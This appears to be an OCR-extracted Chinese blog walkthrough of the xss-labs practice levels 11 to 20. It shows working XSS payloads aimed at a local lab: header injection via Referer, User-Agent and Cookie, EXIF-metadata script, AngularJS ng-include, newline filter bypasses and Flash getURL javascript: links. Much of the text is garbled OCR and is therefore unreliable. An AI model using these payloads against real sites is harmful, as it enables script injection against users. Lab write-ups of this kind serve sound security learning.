2021-01-11-xss-labs |

emmm N J F 2021-11-1521:14:19 KA 321 g}
N EFRL:  xss B javascript
WO RSO EREAICE, B CC 4.0 BY-SA MU, #HERIEM LR CH s AR E .

A CHEE: https://blog.csdn.net/qq_50963064/article/details/121343673
KA

xss-labs 11~20
level-11

FZE+R—F, TEERE—NERA, BEEIERN:

w <form 1d="

<input t_link"™ value="" type="hidden"»

<input t_histery e type="hidden">

<input t_sort ] type="hidden">

<input t_ref” value="http://127.8.8.1/xss-1abs-master/levelle. php?keyword=1&t_sort=
*22%2etype=X22text¥22%2080nclick=%22alert(1)" type="hidden™»

</ form>

UEBARBRE, WHETRE T —Mrefil) <input> 1755

T Ht reffvalueftiy b — R H bk G E . AABRATAT LB A B BIXMER LT, Hreferer N BIEHUN:

" type="text" onclick="alert(1)

oo | ancel | | < v | Target hitp=127.0.0.1 ﬁ @
Request Response
T - -
Raw | Params | Headers | nex | Raw | teaders | Hex | #ruL | Rener |
GET fxzs-labs-masterfevell 1 phptkeyword= good%20jeb! HTTRAD i pt= &
Hast: 127.0.0. 1 e = BREREElevel 11 < fritle =
User-Agent: Mezilla/S.0 (Windows WNT 1000; \Windd: xb4: reB4.0) Gecka/201007101 = fhead=
Firefax/B4.0 <bady=
Azcept: tet/brnl appleation/=htral+xml application/onlge 0 Simage fwebp, i q= 0.8 =h1 align= center > MiBRERlovel 11 < /b =
Accept-Language: zh-CM zh;q=0.8 zh-T\W;q=07 zh-HK;q=05,en-U5;q=0.3 en:q=0.2 <h2 align=center= RIEiESMgood
Aecept-Encoding: geip, deflate jObMEEAYIER, <l 2 centers
Referer: * type="text” onclick="alert(1) i ——— storm id=search=
Connection: closs <input name="t link® value=" type=hidden"=
Upgrade-Insecure-Requests: 1 <input name="t history" value="" type="hidden"=
Cache-Contral: mas-age=0 zinput names"t sort® value=" types="hidden"=
<ingut name="t ref” value="" type="rte=t" onclick="alert(1)"
type="hidden">
« Formie
=fcenters < centers img sreslevell1.png= < feenters
=h3 align=center= payloadfem:9- M3 = « body=
< fhtml=
e
v v
@ ;J i N e a searci fe 0 matches @ l; i | i | pe & search i 0 maiches.
Done 058 byles. | & milks

BRI, AR5 i R BI W]«


https://blog.csdn.net/qq_50963064
https://so.csdn.net/so/search/s.do?q=xss&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%2589%258D%25E7%25AB%25AF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=javascript&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_50963064/article/details/121343673
https://imgchr.com/i/s8dMLj
https://imgchr.com/i/s8DFc8

EIFY:

$_SERVER['HTTP_REFERER’]: 15 %% %I =4 5 I [ f 5 — Ui i) #o bk

] AE BB ERATR W b3 47 T <. >ABEEEAE Tt ref . t sortEIFIME AT T **htmispecialchars()** 4b 2 .
level-12

FEE TE IR


https://imgchr.com/i/s8Duhq
https://imgchr.com/i/s8rVxK

O =88 e

FE HTM

DOCTYPE htmls

O EtE N EE () =aes

=« STATUS OK-a»
tml> (3

heads = < /head
chodys

<h1 align="center=REH level12</h1>
ign="center=> @R HEfgood Job | ERMEE, 1

="hidden
hidden
="hidden

input name="t_ua
Firefox/a4.8
«fforms
<fcenters>

b <CENTEr> = </ CEMTErD

="hidden

£ 7T —AN&F Rt ualf <input> #5725, T HvalueE E #E R 1R 5 User-Agentsk, Ti_E—3&REIRE Kreferer, FTARATAT LLBEAR

iR 2 EburpMBHRE, XEFH:

="Mozi11a/5.8 (Windows NT 18.8; Winsd; x54; rvid.@

RibEEllevel12
e E#Ffgood jobEXHILE.

M Oar B T OJeSke 5§ OBEs @ HackBar

+ X T o
~ E O {
}

} Gecko/20i0aiel

I Burp Suite Professional v2.0.11beta - Temporary Project - licensed to By Jas302n
Burp Project inlruder Repeater Window Hek

[owwours [ gt [ - | wver  pot ] scamce | bcao | orgars | x| et apiorn | uer poms

~n

; Go . Cancel < >"

Target: hitpuin2r.004 7 (7)

Frefox/@d.0n

Accept: text/hirnl apphicationhtm|+oml applicationfomlag= 0.9 mage/webp, =08
Accept-Language: zh-CM zhg=08zh-T\¥;q=07.zh-Hkq=0.5 en-US:q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

Request Response

EI Params | Headers | Hex pd [gq_* Headers I tiex | HTML | Render
GET fuss-labs-masterflevel1 2 php?keyword=good%20jcb! HTTP/.1 & ztitle > WiPHRSllevel12 < ftitle = &
Hast: 127.0.0.1 r «/heads
User-Agent: Mozilla/3.0 (Windows NT 10.,0; Winéd; x64; re:B4.0) Gecke/201 00101 <body=

<h1 align=center - MBMREIlcvel12</h1 >

<h2 align= certer = BN ERIMgood
JOBISEAIRR, < /2 » < conters

=form id=search=

<input name="t_link” value="" type="hidden"=
<input name="t_history” walue=""type="hidden"»
<input name="t_sort® value=" type="hidden's
<inpit name="t wa” value="Mozilla/5.0 (Vindows NT 1000
"Winbd: x6d; re:BA0) Gecko /20100101 Firefox/B4.0"
typen hidden™s

< fform=

<fcenter> < centera <img src=level12.png= < fcenter=
<h3 align= center > payload im0 13> < body-

= bt

0 malbchas

: :
@ (] [ o= | Time o search teem 1 malches

1015 bybis | 4 millis

1] LAE B Hvalue(E 7 S8 s B User-Agent:k {8 . iERATBEE



https://imgchr.com/i/sG41yj
https://imgchr.com/i/sGI3aq

£1) vancel L] 2T larget: U0 o ()
Teguest Response
EWTMTM] ﬂmTHuTmLTm]
T fess-labs-master/levell 2. php keyword=good%20jok! HTTR.1 i < f5cript= -
25t 127.0.0.1 © stitle - BRi@REevel12< ftitle >
ser-Agent: Mozilla/3.0 (Windows NT 10.0; Wingd; «64; ne84 0) Gecko 20100101 </head=
efowB4.0° type="tex" ondick="alert(1} sbody=
wept: text/htm| application/xhtml+xml applicationfeml;q=0.9 imagefwebp,"™q=08 <h1 align=center=RiBRElow12< /h1 =
wcept-Language: zh-CM,zh;q=0.8 zh-T\W;q=0.7 zh-HK:q=05,en-US;gq=0.3 en;g=0.2 =h2 align=center= RMHESIfgood
wcept-Encoding: gzip, deflate JobHERAYIEW. < /2= < centers
nnection: close =form id=search=
agrade-lnsecure-Requests: 1 | zinput name="t link" value="" type="hidden"=
agrma: no-cache zinput names"t_history” value="" type="hidden"s i
iche-Contral: no-cache zinput narmes"t_sort” values"" typeshidden" =
=input name="t_ua® value="Mazilla/5.0 (\Windows NT 10.0;
Winbd; «bd; reiBa.0) Gecko/20000107 Frefo/B4.0° type= "text™
ondclick="alert{1)" ="hidden"=
<ffarm= Hﬁ_
< fcenter= <center= <img src=level12.png> =< /ce -
<h3 align=center=payloadiftem9</hi= </body=
< fhml = F
b
v v
) l;J LJ {;J Type & sedarc 0 matches @ [;J l;) L;j Type & search lerm [ malches

REF G IR



https://imgchr.com/i/sGI4eA
https://imgchr.com/i/sGI5dI

RS levell2

.htmlspecialchars($str). "tHEFESE

h1'rr|1 speci dthdPEl $strea).

$s5tr3

F:".strlen($str). "¢

AUEE], g 5strO05 HIYL T keyword llt_sortiE 344 3 f “*htmispecialchars()** B $ 4L 2 5 7 I 2 B <h2> F1 47
t_sortffl <input> tr& 4k

$str1 1320 T iE R F User-Agentk ifE, JEEE T HP K<, >FEHAZ T L 7Nt valf) <input> Fr2F, FrBAERATMIX BN
F,

level-13

BRFRER, REFIRD:

RiDEElevell3
iRH#Egood jobliBXRIER.

&

O=E2 OeYs DEE NES (JEtREE Q6E Dor Bee -n-xmma 8 A% @ HackBar

thev

DOCTYPE himl> ~ X

w ¢form 1d="search™:

XEBEZH T &Nt cookl <input> ¥r%E, XNEFZIRE S IEBRAIEScookie®, FE&EILNHIERE, FAlburplid:


https://imgchr.com/i/sGIOyQ
https://imgchr.com/i/sGbl4I

Request

Farams | Headers | Hex

ET fuss-labs-rnaster/levell 3. phptkeyword= good%20jak! HTTRA.]
ost: 127001

ser-Agent: Mozillay5.0 (Windows NT 10.0; Windd; =84 rv:84.0)

ecko 20100101 Rrefox/84.0

coapt:

uitfhitml, application/shtrml+xml, applicationfsml:g= 09 image/webp,* =08
coept-Language:

1-CNzh:q=0.8,zh-TW:q=10.7, zh-HK:q=0.5,en-US:q= 0 3,en;g=0.2
cezpt-Encoding: gzip, deflate

eferer

ttp:f127.0.0 fxss-labs-master/levell 2 phptkeyword= good%20job!
annection: close

ookie: users call+me+maybea¥iF

pgrade-Insecure-Requests: 1 h"“"‘-—-—

ache-Contral: max-age=10

Response

HTML | Render
window locationhref = Tevel14.php
I
= fscripts
<title > BIDME evel13 < fritle =
<fhead»
<bodys

<h1 align=center=RiPpdEllcvel12< /71 »

=h2 align= center = R¥IEEIIgood jobMBERER. < /hi = < centers
<form id=search=

<input name="t_link” value="" type="hidden"»

<input name="t history® walue="" type="hidden">

<input name="1_sort” value=""type="hidden">

<input name="t_cook"” value="call me maybea?® type="hidden"=
= ffarm =

< fcenters < centers <img sre=level] 3.png> < /zent

<h3 align=center > payloadfR:9< hi> < fbody= &

= /html=
% Flcookiefisk—H, BHAE:
Resquiest Response
Params | Headers | Hex ﬁ Headers. i Hex | HTML | Render I

GET fuxss-labs-master/levell 2.php?keyword=good®20job! HTTR/1.1 . 1
Hast: 127.0.0.1 s <fscripts
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winid; x64; n:E4.0) <title = PRI level 13« ftitle =
Gecka/20100101 Firefou/84.0 <fhead>
fccept: <body=
text/html, application/shtml+xml, applicationfemlg=0.9,image/webp,” " ig= 0.8 <h1 align=center - BiBREewel13< /h1 »
fccept-Language: <hZ align=center - @ ESIIgood jobHERIEEM. < /> < center>
th-CM,zh;q=0.8zh-TW.q=0.7 zh-HK:q=0.5,en-US:q=0.3 en:q=02 <form id=search>
heeept-Encoding: gzip, deflate <input name="t_link® value="" type="hidden®=
Referer: <input name="t_history” walve="" typa=“hidden"s
bt 27 0001 fegs-labs-master/levell 2 phptheyword= good %2 0job! <input names "t_sort” value=s"" types"hidden®>
Connection: close <input name="t_cook” value="call ma maybe? type="rea”
Caookie: user= call+me+maybe%3IF type="tea” ondick="alert{1) ondick="alert(1)” trpe="hidden"»
Upgrade-Insecure-Requests: 1 = fform=
Cache-Control: max-age=1 < foanters < centers <img sre= levell 3png = < fcenters =

«h3 align=center = payloaditem:9- /h3» < body=

& fhitrnl=

-

L
@ L;J LJ '\LJ Type & search ferm 0 maiches @ u u u Type & ssarch b=nm 0 maich

Done

YRR B A B AT B AR T -

1,040 bytes | 1m


https://imgchr.com/i/sGqZin
https://imgchr.com/i/sGqQLF
https://imgchr.com/i/sGqJiR

.strlen($str)."-

A MERET .
level-14

X—RBAVMETLEV H, FIUASHEREEETH—TEELIE: https://www.zhaosimeng.cn/writeup/117.html

<html>

<head>

<meta http—equiv="content—type” content="text/html; charset=utf-8">

Ctitled WA levelld< titled

</head>

<body>

<hl align=center>¥MAEE|level14</hl>

<center><iframe name="leftframe” marginwidth=10 marginheight=10 sre="http://ww. exifviewer. org/” frameborder=no width="80%" scrolling="nc” height=80%></ifi
</body>

</html>

BEHWRE R IE T iframetr 5] T —/ http://exofvoewer.org .

X—KB KB T exif xss JFIF, exif &2 7] 32 # BE 44 A (Exchangeable image file format, fEI#REXif), &% [T NERLG VLI EE A
WM, A LLEREGL R A RS AR .

EAE—ANE B xssAVEE B B R fi K xss:


https://imgchr.com/i/sGqOyT
https://www.zhaosimeng.cn/writeup/117.html
https://imgchr.com/i/sGXeJA

|| [m i -
i%Ee
i+ Y ">img src=x onerror=aler. ..
FEF ““ ' ">dimg sre=x onerror=aler. ..
ﬂm AR A
e ' ">img src=x onerror=aler. ..
& ' ">{img sre=x onerror=aler. ..
*=8
{E& * ">img sre=x onerror=aler. ..
REEES
EFEH
FRENEIHA
B ' "Ximg src=x onerror=aler. ..
&
B¢ 1
R 750 x 1000
nE S0 B -
e A e
itEzEt 0T AES

KRIA B B EETH, AARHE:

L_I_l_l'[ ']-Cﬂ-mwwwm
@ Load URL  httpy/funw.exifviewer.org)

& spht URL

b Execute

|"] Enable Post data | | Enable Refarrer

PRIVACY CONTACT

EXIFviewer.org

WELCOME TO THE FREE ONLINE EXIF VIEWER

with this online tool you can extract meta-data from image files of arbitrary type.
It provides easy read acccess to the Exif, IPTC and XMP metadata of images in
various formats,

Upload a file: FRETH, f—

Or enter a URL:

Max. file size for upload is 6 MB.
Supported file types: jpg, png.


https://imgchr.com/i/sGxPs0
https://imgchr.com/i/sGxBef

= e —
al Lopd URL  Hopmyfmewe mchviewar crg/

& suRL

*  Egeone

finable Post data rable Reisrrer

Q E»EIJIU_‘T:

HE#— A

1 F exif_read_data() BREU R ERMBHPHPEL B, 78 H AL E SCphp.inidt#R 2 php_exif.dil K H AN EIRF & #: 2] php_mbstring.dil ff1/5
M, WAEEIERTHRK ; 23, Ejgapache/5RIH .

£ 1T 3R T I — A4 oh.jpg I B .
AR5 BAT U7 13X AN S -

e
« (<] T O 127000/ ssstestfexiless.php o noE 8 @ %0 @ :
B AmmAk B cAEARs @ &30 Emmes Boows Bwmen © mems O 3
array(17) { [FileMame "= string($) “oh.jpg" [ FileDase Time"]=c- ine{ 16 12084538 [ FileSize"J=- int 50266} ["FileType"}=¢- int(2) ["Mime Type"]=c- srmg(10) “mmage jpeg” ["SectonsFound "= string(26)
"ANY_TAG, IFDO, EXIF, WINXF" ["COMPUTED T~ armay(5) { ["himl"]=>- siringi24) "width="820" height="821" ["Height"]=> int(B21) ["Width"J=> int{B20) ["sColos™]=> ins(1}

[ ByteOrderMotorola™}= int{1) } ["Tmage Width"]= int(810) [“EmageLength"J=> ino(E21) ["ImageDescription”]=: strieg(?} "ch” ["Crientatice"}=> in(0}) [ThateTame"}=> KULL ["Exif_IFD:_Painter =
int{2234) ["Title"}=> siringl2) *7*" [ Subject”}=> string(1) 7" ["UndsfinedTag: IxEALC]=> string(2060) "" ["LighiScurce”}=> ini{l) )

T UAE B B A i exiffE BERITEN ISR T o W RIATRE B Bexiff= B BN A K xss I payload e ?


https://imgchr.com/i/sGxTkF
https://imgchr.com/i/yEwZfe

& ohjpg Et& 4
=0 =2  FHEEE LEmEd

== & c3
1hEd
e =script=alert(1);=/script=
= T
tmic
=i

e
=
biz: ==t
EFER
FEIHE
it

B

Eig 1D
SRR 820 x 821
e 820 &E
[ 821 ¥
FFSEE 96 dpi
EESHE 96 dpi
PR 24 v

HeEEIPAEE

B, RERMNBRTHES:

X @ [ 127.00.1/xsstest/exifxss.php B e oy
GiEmsE BaaEsRs @ FELE Dsaan Drses DssRz © irEe

" LAE BRI T !
level-15

WHRR T, URLAERAsrcixNMSH:


https://imgchr.com/i/yEwRXR
https://imgchr.com/i/yEw476

© [ 127.00.1/xss-labs-master/level15.php?sic=1.gif T I

@ wxin Deaae [Hrrms DA O FrEs

WRIBREHE15K, BEBNMHNEELEIE!
ENTER IF YOU DARE...

Fr ARATE B VRS -

<html ng-app>
<head>
<meta charset="ucf-2">»
¢=cript sro="angular.min.js"»></script>
<soript:>
window.alert = functionf()
{
confirm("SEREEITE! ) ;

window.location.href="levellé6.php?keyword=test";

</script>
ctitle> iR 1evellte/titles
</head:>

<hl align=center>IWERHFE1sx, BCETINEEHEE! </n1>
<p align=center><img src=levellS.png></p>
<hody><span class="ng-include:l.gif"></span></body>

FHBANRZ KsreSBHMEB BRI T <span> trZiiclass B A+, HBIEIEH ng-include: , ng-include fangular js # I &
7, 4 FPHPH include %, X Bt 2K 1.gifiX AN AR E XK.

HAEREFRIREEASIRERMAKHE:

"><script>alert(1)</script>


https://imgchr.com/i/sJzCGQ
https://imgchr.com/i/sJzEq0

<htm]l ng-app>
<head>

<meta charset="utf-8">

<soript sro="angular.min.js"></soript>
<soript>»

window.alert = function()

':lc_—_fl::r.t"ﬁ.ﬁﬁﬂg:‘:fﬁ! LT

window.location.href="levellf.php?keyword=cesc™;

</script>
<title>WiPE1eval115</titles

</head>
<hl align=center>MPREIF 1%, CBTNEEHER! </hi>
<p align=center><img sro=1 115.png>»</p>

oty égTiélo;scriptagrralerc(l)alc: facriptigt: "></span></body>

ALLESI<, >HRmIL T . XREFFIRGE:

ng-app

T
7

ini_set("d
$str = $ GET['

echo "ng-include: ' .htmlspecialchars($str)." ">

T LA FsrcEIRS T strs &, J5ilid*htmlispecialchars()* B ¥ HIRA T <span> #RZ5 I class & M E .
PAE, EBAIE T R —ng-include i) B 4K i

e ng-includefi & A TB & SHAIHTMLIC A

o GEMNEKIENEETLRENFI R,

e ng-include/g LB R A& —NRIER, REI—NXHA.
e RUBRT, BN IHRTEREERN ML T.

RAER:

e ng-include, WIREAITEE YL, BHAEMG 5.
e ng-include, fNESMEFHTML, <script> #7255 K B A AT o
e ng-include, HNEAMEHTMLEF&H style AR RER AT LRI

BEARX A LB S HTMLSC A, A BATE AT L& 2 BT A EXSSIRIAMIIE S T . taniig:

src="level1.php?name=<img src=1 onerror=alert(1)>'



https://imgchr.com/i/sJzILq
https://imgchr.com/i/sYS0tU

FAXBESHEEL— AL, FURMNEERFMGS. BR/MKETRSERRT, ZHARELESHTMLCHS, HZ2
levell.php R —ANPHPICAEE? 3X 2 R AR A R B4 ) =/ Elevell.php, TIREFERINT SHEK . XBE SGREEDH
T ZSHEF R hE 2 5T R R 3 Y 2 M HTMLSC A B Ak R IR .

EBRABEFRR:

1 [ 127.0.0.1/xss-labs-master/level 15.php?src="level 1.php?name= <img src=1 onerror=alert(1)>' BE e oy T

wrim DerRr D DeRRe © =

ALLERIRI T, Hlevel HEHWHIRET T75.

XEAREE S M SR, BRATHEAR R LT T ~*htmispecialchars(* R EALE T, EARKBRITM<. >HEA R L
We? ixX B FA—FF IR RAIN <. >RSI SR F /1, ERE N EZEN LV levell.php, BT LAX B )5 b2 11& Fa i
Ko 725 IR phptt it i K B — M AT urldecode(htmispecialchars_decode($request)) o T LA BA & AT LA&IIE BARS B UL T #1%
SEAR, HRTETE R IHE 2 S50 SR AR 5 R url g .

level-16


https://imgchr.com/i/sYPt8U

© [ 127.00.1/xss-labs-master/level16.phpTkeyworc

]
|
oot

=T
s
'

Hs @ FErE OExEay [ SeEme © msmd

WwipsEZlevel16

test

payloadffiicE:4

A UEBTEA —EBaA, SRS EHE:

1

confirm ("SR! ) ;

Wwindow.location.hrefe®leyeall7.php?argll=acargi2=h";

</seript>
ctitle>¥iPEHIevellfc/titler

</ head>
<body>
<hl align=ceder>RiPHEH1evells</nl>

<penter><&nbsp: >alert (l)<&nbep: inbsp: »</center><center><img sre=levellé.png></center>

</html >

A UAE BIBRATK scriptF 775 / AR mBD AL T M FAFLAR. BrLL, HSRTHARERIERATT .

REF JE IR


https://imgchr.com/i/sYuejP
https://imgchr.com/i/sYuICd

ini_set("display_errors", 8);
tr = strtolower($ GET["k
r_replace("scrip

‘:r-eplace{
r_replace(

.strlen($strs}).

A UE BRI BATEMA NS HE T+ Kiscript, 4%, /., ZHREBEHRAT snbsp (BHFRFIM). H ik thiX B I3k F 248 ok 7
REor BT 8 XX 2, BEATERT B ERAE . MHRMNTE - IMATEASHIRE, W <ing> 1758, WIEWTER:

onerror=alert(1)
>

BRI B8R H A K A BB (D 1K) BT ABRATIZ A 1B ZE i urléh B % 3R (%0a) R B

RS 127.0.0.0 FEE.
DEsR Dens O flAs ((atRae QOue OnF B R § TEEER 5 EEEE @ Hackar

Encoding =

Load URL hitpoi27 0.0 1xss-labs-mastenievel 16 phpYkeyword=<img%0asrc="1%0acnerror=alen{1 )=

Spilit URL

level-17


https://imgchr.com/i/sYKux1
https://imgchr.com/i/sY36vd

O 127.0.0.1/xss-labs-master/level17.phpfarg01=afarg02=b

Fris Bemnn Beras Osame O ssmEs

i #kZlevel17
R, ERHEAT—X

X — R BRI A R A BN R —AMlash ik IE # B om K .

{==><htal>
<hisads
«meta http-eguiv="content-type" conteant="text/heml:charses=unf-§9:
<script>

window.alere = funcTion(
confizm("FRAREITIN! ")

</scripts

<titlasPilHHlavell7</ titlex

</ heady
Chodys
<hl align=cercer>iRiPRElareliTe/h1>

<embed sre=xsfll.swifa-b width=100% heigth=100%><h? align=cence:>@lDE, <a nref=levell®.phprargll-asargDi-boSERA F—2</arc/na>
</body>
</ htmly

A LLE B RATURLAE I SBEHIIET <embed> iR fIsrcBMEE S . FIANXBEATF, RN EHREFREE:

><script>alert(1)</script>

<neac>

<meta http-equiv="content-type" content="textc/html;charsec=ucf-3">
<script>

window.alert = function{)

{

confirm("EWAITFE! ")

</script>

<titles¥PEH1evel17</titles

</head>

<body>

<hl align=center>XiPHEHlevellT</hl1>

<embed src=xstl.swf?a=&gt:&lt:scrigzigt:alert[l]&Lt:{scrig&ég&i width=100% heigtl
</body>

</html >

A] LLE BRSPS B 2 A R S T A B X R **htmispecialchars()* B $ AL 1Y . X BscrB M EFEERME S, HFEA
B RMEHHEERN, BRI DA G E R MonclickZ 4R 23K, EbE AT onclickZE 4, XA WS @ T

b5 AW, A5 Konclick B H4EIER — Nt

?arg01=a&arg02=b onclick=alert(1)


https://imgchr.com/i/sY8OQH
https://imgchr.com/i/sYGWh8
https://imgchr.com/i/sYJUDs

emmm, KIUAEREF ik A2, XERASREREESER)E—T:

@ 127.0.0.1/xss-labs-master/level17.phpfarg01=a&arg02=b%20onclick=alert(1

X = ek 7B TrEE M G _
® ® ® ® 127.0.0.1 &~

iy
SE MR

iﬂiﬂ*gﬂ lev B

sta hit
SCrip
window.a
nfirm
Adobe Flash Player 2B 3

FE, SEHAT—X

B v :

7] LLE B AR S5 283 xd T B AR PSS 4UE #8 A **htmispecialchars () B #0# AT T AL 3.
level-18

F17K.

http://127.0.0.1/xss-labs-master/level18.php?arg01=a&arg02=b onmouseover=alert(1)


https://imgchr.com/i/sYwDeg
https://imgchr.com/i/sYwRS0

@® 127.0.0.1/xss-labs-master/level18.php?arg01=a&arg02=b%20onmouseover=alert(1)

Ex @wz OFF QFE QFTEE MG 01 m=

+ Flash Player BB EIMEER EF—
RipEZleverro

Ao Elach Plaver - o assiea
Adobe Flash Playve 2 5 o2

level-19

BRFE B IR S:

I ==3TATUS OK——><html>
<head>
imeta http—equiv="content—type” content="text/html;charzet=utf-2">
{zcriptr
window. alert = function()
{
confirm{"FRRBITEE! )
window, location. href="1evelZ20. phptargll=akarg02=b" ;
1
<fgoriptr
<titlerBLIDE Bllevel19</ title>
< head:
<bods>
<hl align=center>TCIIER levellid hls
<embed sro="xzzf03. swf?a=b" width=100% heigth=100%></body>
< html

AUERIHES EHEX AR A/ T W5 SERER. XERMBERPITsREBME LM ERE, EREEHT
**htmispecialchars()** R #1740 2, FrUATIERA .


https://imgchr.com/i/stdSOS
https://imgchr.com/i/sY0dhR
https://imgchr.com/i/stdcX8

BTRRMY KB T —fxssBdi FB, flash xss. flash xssit 2 flashf 7 LA FjsHI B $, 20 DIAjs#TiBE . FIiX g
HInRAEAA LB R ERxssH . H LKAl kxssHIfEK K %H . getURL. navigate
ToURL. Externalinterface.call. htmiText. loadMovie% .

X B FEXN 5| swisOH#E1T R 9 AR 5 BEATURAD 7317 X B R B B0 e SR SR AT = 9 ¥R 1 B i R jpexs-decompiler. T H
Hoht:  https:/github.comvjindrapetrik/jpexs-decompiler/releases »

2238 J5 5 NVE S 5] FxsfO3.swisC 44 :

E ESmA. & sPE | 2 iy kL | |_I uam Q) m @ 1B oo ||
mr-- ay DR DD oy, _rf“““ =6 mt_ nt
v Gmamn  (Lewed = n. S ulm TR -
=R b
£ anild el AERE Foanih
(-2 s =]
tk_'—'gi 40 —glsal clewlatereal liatereal): }  Comrcaefedl Terrr” _glebal” Cluscasss” "samePiald” Cesstem”
' ey 141 EITR s b 2 Bub CalFE
b ﬁ“ Mz ] a GtV whle
#- L mti s 20 y
SomE 144 revom mdsfiaed: D .
B _Packages 128 1 & lemd
4 Opdens 146t mecltems Contazilunatommd Follen Lick”, fumctdionl] 3 i
i GETyeGheel 147 3

== 146 @GN iareascs. priscrylisk, sCPL fnatasss. prisaryiiskT
-] frame 1 \ 145 11 new Contertheml tend pe Lish ix sev vindre’, Sumerionl]
150 [

151 EetELOIPE instece primerplisk _blek )
152 111

153 v laed = _vose hulder:
e ——— T TR B T

414" regster?

ELRENE 155 v Lo = 18
] n 198 i FIPR checkloratiot! & alFL chackhmmaind}) 17 Puth regieterd coment repdatery
S Dakitictian (53} 157 [ . 12 e
R0 a1 2a8 leed = alFE mascapsBricedet_rest. contans) 19 Pudir .uun prinarylink ™ "_rsn
1
W B2042 (rt40a2) B
= T 240 i Look_ = “udsfized” || Luct_ = ")

1y |
163 v _leo = Fluk steral Breeralistarface. el 3FE _ran

M EE AR AT UE R, EAMEKLER P getURLEH . %m0 LRI — LS5 1E .

oo - — LI =
161 1
162 var _loch_ = flash. external. ExternalInterface. call( sIFR. _ res
163 1if (_1 o ::E_)
164 1
185 retuwrn undefined;
166 !
167 _locd4_ = sIFR DEFAULT_TEXT;
168 _loca_ = false;
169 !
170 1f(_locS_ & _root.versiom != sIFR. VERSION)
111 1
172 _loc4_ = =IFR VERSION_WABNING. split("%="). join(_root.version);
-
HEVER
2| 174 Stage scaleMode = “nozcale”;
175 Stage align = "TL";

17¢ sIFR. menu = new ContextMenu():

177 sIFR menu. hideBuiltInTtems!():

172 _root.menu = sIFR. menu;

179 var _loel_ = _global. parselnt(_root. opacity, 10);

1a0 1f(!_global. islall(_loc7_))

181 1

182 _loe3_. _alpha = sIFR defaultOpacity != —17sIFR. defaul tOpacity:
183 |

184 else

Al AE Bl R G versionS 1%, HERBIE NocdZ B, W EsFRUAEF. HEMHgetURLEHEHELEH T RE
TE N B NINKE 74 23T . At ERInkI, 4k8:5 .


https://imgchr.com/i/saCR41
https://imgchr.com/i/saP88x

ASIRTGHS
451 this repaint(); A
52 1}
453 function changeCSS(css)
454 1
455 this. setStyles(sIFR unescapelnicode(css), true);
456 this. repaint();
457 }
458 functiom contentIsLink() Am——
459 1
460 retuwrn this. content. index0f("<a ") = 0 && (this. content. index0f("<a ") = this. content. lastIndex0f{ <2
461 !}
42 function setupEvents()
q63 1
a64 1f{_root. fixhover = “true” &% this_ contentIsLink())
q65 |
466 thiz. textField _parent. onRollOver = function()
467 {
4GB sIFR call( fireEvent”, “anRolllver”):
469 LE
470 this. textField _parent. onRollOut = function()
41 {
472 sIFR instance. fizHover();
473 sIFR eall{ fireEvent , onRellOut™);
474 LE |
1 a1 _
e e —

semew

7 —~contentlsLink B8 $ k& & 1 58 SCH SR AW 8 B R AR Iink . 383t 287 5 A ARS8\ LR 23X B BB K link i & — A <a>
<la> XFERERERRINE.

PR L BRATT AT LAAA) & 2 ARG AT 9 3R -

http://127.0.0.1/xss-labs-master/level19.php?arg01=version&arg02=<a%?20href="javascript:alert(1)">oh</a>

REMELRLERNashEFH —T 7, MREAEMAT 7. ATLLFEREHEHER:

“ C @ 127.00.1/xss-labs-master/level19.phplargd1=a&arg02=b
HagE B Er Q= @7 @FE @ FFEH ™M Gmal @O VouTube BY 3E

ik level19

Movie (436) 1s
incompatible with sifr.js
(undefined). Use movie of

undefined.
Maovie (436) is

B3 payload il :


https://imgchr.com/i/saiDw4
https://imgchr.com/i/saAHh9

(_
H AR S EE @5 @5 @ FE @ FFEE ™ Gmal B YouTube B iE

RiDEZlevel19

@ E=Tlevells x +
C @ 127.0.0.1/xss-labs-master/level19.phplarg01 =version&arg02 = <a%20href="javascriptalert(1)*»>oh</a>

Movie (436) 1s
incompatible with sifr.js
(oh). Use movie of oh.
Wi (436) is

incomnatihle with sifris

A AR BIEATR — AN SHIE S K T version, JE—NSEEERR A H <a></a> ALK IXSSKpayload, FHEAIRI)
BEACDE TUE W MK flashh CLEIHR T, mdaEk:

@ mEsElevel19 ®  +

“ C @ 127.00.1/uss-labs-master/level 19.php?arg01=version&arg02 = <a%20href="Javascript:alert{1)" > oh </a>

Hoys &= A k= = i ™ & L
TR R EE @5 QF: @ FE O FrEE { 127001 B

AT

Movie (436) is
incompatible with sifr.js
(oh). Use movie of oh.
Movie (436) is

incomnatihle with sifris

B, BEIRN:

{1 —ETATUS OK—><html>

‘head>

{meta http-squiv="content=type” content="text/htnlcharset=utf-8">
{seript>

window, 2lert = functioni)

{
corfirn ("R ABIFE! 7D
window. location. href="1ewel20. php?argll=abkarg0i=b" ;

fseripty

Ctitles Bl FE B LevellB/ titler

</ head?

‘body>

¢hl align=center > 0% Fllevel19</hi>
{enbed sre=", 7

</html’

DO DN BEWNGSoW®EE =00 & W

Jisvascript: slert (1) équot bet ohblt Sakgt " width=100% heigth=100%></bady>

LR B BARR G R BRI T, (HREXN T xsf03.swik i /& 4R & 1E & 7 i1 i
level-20

HT, #HA20K, XREBREARZEZ WM.


https://imgchr.com/i/saE9tH
https://imgchr.com/i/saEF1I
https://imgchr.com/i/saFe74

' @ 127.0.0.1/xs5-labs-master/level20.phplargll =afargl2=b

P EE @ oE= B @ FE @ FFEE M Grail @ YouTube BF i

WiDEE level20

EBRINEE G-

R M EE @5 @55 @FE @ FFEE M Gmal B YouTub

confirm (" TREEFIFE! ")

window. location. href="1level21. php?argli=akarz02=h";

I

10| <fzcript>

11 <title>BN i El level20</ title>

12 </head>

13| <body>

14 <hl align=center>%x 3%k Fllevel20< hl>

15 <embed src="xsf04.svf?a=b" width=100% heigth=100%></body>
16 | </html>

1 LI==5TATUS OE——><html>

2 <head>

3 <meta http-equiv="content—-type” content="text/htnl;charset=utf-2">
4| <gcriptr

5 window. alert = function()

6|1

7

8

g

W UE BRR R BRAITRZ KRN SHIEANE] T <embed> iR scriBEEF, I HERGIA T swixff, HEBRAEERHRK.

1E R Fjpexs it xsfO4 . swise 3T Iz 4 3«


